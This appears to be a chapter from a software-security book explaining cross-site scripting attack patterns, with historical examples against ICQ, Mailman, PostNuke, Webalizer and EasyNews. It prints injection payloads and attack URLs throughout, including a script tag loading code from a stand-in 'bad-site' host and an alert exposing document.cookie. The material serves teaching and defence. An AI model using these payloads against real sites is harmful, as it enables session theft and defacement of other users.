Cross-site Scripting (XSS)

Prev don't be afraid of buying books Next

Cross-site Scripting (XSS) Cross-site scripting (XSS) has become a popular subject in security, but XSS is really only yet another example of in-band signals being interpreted by client software—in this case, the Web browser. XSS is a popular attack because Web sites are both common and numerous. To carry out an XSS attack, an attacker can place a booby trap within data using special escape codes. This is a modern form of using terminal escape codes in filenames or talk requests. The terminal, in this case, is the Web browser that includes advanced features such as the capability to run embedded Javascripts. An attack can inject some toxic Javascript or some other mobile code element into data that are later read and executed by another user of the server. The code executes on the victim's client machine, sometimes causing havoc for the victim. Figure 5-1 shows an example of Web-based XSS in action. Figure 5-1. XSS illustrated. The attacker sends active content to a victim (1), which invokes a script on the vulnerable Web site (2). Later, once invoked by a Web browser, hitting the vulnerable Web site (3), the script runs (4) and allows the attacker access (5). In some cases an attacker may be able to include a script such as the following in a payload: <script SRC='http://bad-site/badfile'></SCRIPT> In this case the script source is obtained from an outside system. The final script, however, is executed in the security context of the browser–server connection of the original site. The "cross-site" label in the name originates from the fact that the script source is obtained from an outside, untrusted source. * Attack Example: Javascript Alert Dialog XXS One innocuous kind of XSS attack causes a pop-up dialog to spin, saying whatever the attacker supplies. This is commonly used as a test against a site. An attacker simply inserts the following script code into input forms on the target site: <script>alert("some text");</script> When viewing subsequent pages, the attacker expects that a dialog box with "some text" will pop up. Using Reflection against Trusted Sites Consider a situation in which an attacker sends e-mail that contains an embedded script. The victim may not trust the e-mail message and may thus have scripting disabled. The attack therefore fails. Now assume that the same victim uses a popular on-line system. The attacker may know that the victim uses and trusts the on-line system. The attacker may also have found an XSS vulnerability on the target system. Armed with this knowledge, the attacker can send e-mail with a link to the trusted target site embedded. The link may contain data that are posted to the target site, doing something such as posting a message. The link may look something like <a href="trusted.site.com/cgi-bin/post_message.pl?my message goes here">click me</a> If the victim clicks the link, the message "my message goes here" will be posted to the target site. The target site will then display the message back to the victim. This is a very common form of XSS attack. Thus, a cross-site problem on the target site can be used to echo script back to the victim. The script is not contained in the e-mail itself, but is instead "bounced" off the target site. Once the victim views the data that were posted, the script becomes active in the victim's browser. The following link may result in a Javascript pop-up message: <div> [View full width]</div> <a href="trusted.site.com/cgi-bin/post_message.pl?&ltscript&gtalert('hello!')&lt /script&gt">click me</a> The message posted to the server is &ltscript&gtalert('hello!')&lt/script&gt and the target server is likely to convert this text (because of the escape characters) to <script>alert('hello!')</script> Thus, when the victim views the result of their post, their browser is given script code to execute. Attack Pattern: Simple Script Injection As a normal user of a system there are opportunities to supply input to the system. This input may include text, numbers, cookies, parameters, and so forth. Once these values are accepted by the system, they may be stored and used later. If the data are used in a server response (such as a message board, where the data are stored and then displayed back to users), an attacker can "pollute" these data with code that will be interpreted by unsuspecting client terminals. * Attack Example: Simple Script Injection If a database stores text records, an attacker can insert a record that contains Javascript. The Javascript might be something like <script>alert("Warning, boot sector corrupted");</script> This causes a pop-up message on the client terminal that displays the (fake) error message. An unsuspecting user might be highly confused by this. A more insidious attack might include a script to alter files on the client hard drive or proxy an attack. ICQ (a large company acquired by AOL) had a problem like this on their Web site. A user could paste malicious HTML code or script into a message that would later be displayed to other users. The attack URL looked something like this: http://search.icq.com/dirsearch.adp?query<script>alert('hello');</script>est&wh=is&users=1 Many Web sites that maintain guest books or message bases suffer from these problems. The popular geek news site Slashdot.org, for example, had such a problem (recently corrected). Testing for this problem is simple: The attacker pastes script into an input field and observes the result. Attack Pattern: Embedding Script in Nonscript Elements Script does not need to be inserted between <script> tags. Instead, script can appear as part of another HTML tag, such as the image tag. The injection vector is <img src=javascript:alert(document.domain)> * Attack Example: Embedded Script in Nonscript Element from GNU Mailman XXS Consider the following URL: http://host/mailman/listinfo/<img%20src=user_inserted_script> Attack Pattern: XSS in HTTP Headers The HTTP headers of a request are always available to a server for consumption. No matter the context or where data are positioned, if the data are from the client, they should clearly be untrusted. However, in many cases programmers overlook header information. For some reason header information is treated as holy ground that cannot be controlled by the user. This pattern takes advantage of this oversight to inject data via a header field. * Attack Example: HTTP Headers in Webalizer XSS A program called webalizer can analyze logs of Web requests. Sometimes search engines will put identifying data in the Referrer field when they make a request. Webalizer can (for example) search all requests made from search engines and compile a list of search keywords. The keywords, once obtained, are cataloged on an HTML page. An XSS attack can execute via these search terms. This involves faking a request from a search engine and putting embedded script into the search term itself. Webalizer copies the attack string, unfiltered, into the catalog of known search terms, where it is then activated by an administrator. Attack Pattern: HTTP Query Strings A query string takes variable = value pairs. These are passed to the target executable or script designated in the request. A variable can be injected with script. The script is processed and stored in a way that is later visible to a user. * Attack Example: PostNuke Content Management System XSS The PostNuke content management system (http://www.postnuke.com/ ) had a vulnerability in which user-supplied HTML could be injected. The following URL carried out a simple query string attack: http://[website]/user.php?op=userinfo&uname=<script>alert(document.cookie);</script>. * Attack Example: EasyNews PHP Script XSS The following HTML request could at one time cause a post to be made, which includes an XSS attack: <div> [View full width]</div> http://[target]/index.php?action=comments&do=save&id=1&cid=../news& name=11/11/11&kommentar=%20&e-mail=hax0r&zeit=<img src=javascript:alert(document.title)> ,11:11,../news, bugs@securityalert.=com&datum=easynews%20exploited Attack Pattern: User-Controlled Filename An unfiltered, user-controlled filename can be used to construct client HTML. Perhaps HTML text is being built from filenames. This can be the case if a Web server is exposing a directory on the file system, for example. If the server does not filter certain characters, the filename itself can include an XSS attack. * Attack Example: XSS in MP3 Files and Spreadsheets The cross-site problem is not confined to Web sites alone. There are many types of media files that contain URLs, including MP3 music files, video files, postscripts, PDFs, and even spreadsheet files. The client programs used to view these kinds of files may interpret the embedded URL data directly or may transfer the HTML data to an embedded Web browser, such as the Microsoft Internet Explorer control. Once control is transferred, the embedded data are subject to the same problems as in a traditional XSS attack. Microsoft considers the XSS problem extremely serious and devotes considerable attention to eradicating XSS vulnerabilities during their self-described "security push" phase of software development.[3] [3] The book Writing Secure Code [Howard and LeBlanc, 2002] describes how security has been integrated into Microsoft's software development life cycle.

	Amazon